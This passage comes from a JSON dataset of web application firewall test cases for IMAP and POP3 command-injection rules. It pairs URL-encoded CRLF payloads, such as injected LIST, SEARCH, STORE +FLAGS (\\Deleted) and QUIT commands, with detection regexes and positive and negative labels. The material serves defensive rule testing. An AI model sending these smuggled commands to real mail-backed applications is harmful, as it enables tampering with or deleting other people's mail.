[\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP COPY Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0d%0aA1%20list%20%22INBOX%2F%22%20%22%2A%22\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP LIST Command Injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=We%20need%20the%20list%20%22ASAP%22\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP LIST Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0d%0ad%20store%202%20%2BFLAGS%20%28%5CDeleted%29\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP STORE Command Injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0aLet%27s%20go%20to%20the%20store%20%28sale%20time%21%29\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP STORE Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0d%0aA282%20SEARCH%20FLAGGED%20SINCE%201-Feb-1994%20NOT%20FROM%20%22Smith%22\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP SEARCH Command Injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0d%0aZ001%20SEARCH%20CHARSET%20WINDOWS-1252%20DELETED%20SINCE%201-Feb-1994\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP SEARCH with CHARSET Command Injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0d%0aA283%20SEARCH%20TEXT%20%22string%20not%20in%20mailbox%22\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP SEARCH using TEXT Command Injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=%0d%0aA284%20SEARCH%20CHARSET%20UTF-8%20TEXT%20%7B6%7D\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP SEARCH using CHARSET and range Command Injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=In%20all%20search%20keys%20that%20use%20strings%2C%20a%20message%20matches%20the%20key%20if%20the%20string%20is%20a%20substring%20of%20the%20field.%20%20The%20matching%20is%20case-insensitive.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n[0-9A-Z_a-z]{1,50}\\b (?:C(?:(?:REATE|OPY [\\*,0-:]+) [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|APABILITY|HECK|LOSE)|DELETE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|EX(?:AMINE [\\\"#%&\\*\\-\\.0-9A-Z\\x5c_a-z]+|PUNGE)|FETCH [\\*,0-:]+|L(?:IST [\\\"#\\*\\--9A-Z\\x5c_a-z~]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|OG(?:IN [\\-\\.0-9@_a-z]{1,40} .*?|OUT))|RENAME [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+? [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|S(?:E(?:LECT [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|ARCH(?: CHARSET [\\-\\.0-9A-Z_a-z]{1,40})? (?:(KEYWORD \\x5c)?(?:A(?:LL|NSWERED)|BCC|D(?:ELETED|RAFT)|(?:FLAGGE|OL)D|RECENT|SEEN|UN(?:(?:ANSWER|FLAGG)ED|D(?:ELETED|RAFT)|SEEN)|NEW)|(?:BODY|CC|FROM|HEADER .{1,100}|NOT|OR .{1,255}|T(?:EXT|O)) .{1,255}|LARGER [0-9]{1,20}|[\\*,0-:]+|(?:BEFORE|ON|S(?:ENT(?:(?:BEFOR|SINC)E|ON)|INCE)) \\\"?[0-9]{1,2}-[0-9A-Z_a-z]{3}-[0-9]{4}\\\"?|S(?:MALLER [0-9]{1,20}|UBJECT .{1,255})|U(?:ID [\\*,0-:]+?|NKEYWORD \\x5c(Seen|(?:Answer|Flagg)ed|D(?:eleted|raft)|Recent))))|T(?:ORE [\\*,0-:]+? [\\+\\-]?FLAGS(?:\\.SILENT)? (?:\\(\\x5c[a-z]{1,20}\\))?|ARTTLS)|UBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+)|UN(?:SUBSCRIBE [\\\"#%&\\*\\--9A-Z\\x5c_a-z]+|AUTHENTICATE)|NOOP)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932311", "test_description": "IMAP SEARCH Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aQUIT" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:(?:QUI|STA|RSE)T|NOOP|CAPA)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932321", "test_description": "POP3 QUIT/STAT/NOOP/RSET/CAPA Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=Don't%20quit" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:(?:QUI|STA|RSE)T|NOOP|CAPA)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932321", "test_description": "POP3 QUIT Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=we%20do%20not%20have%20that%20capability\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:(?:QUI|STA|RSE)T|NOOP|CAPA)", "negated": false } }, 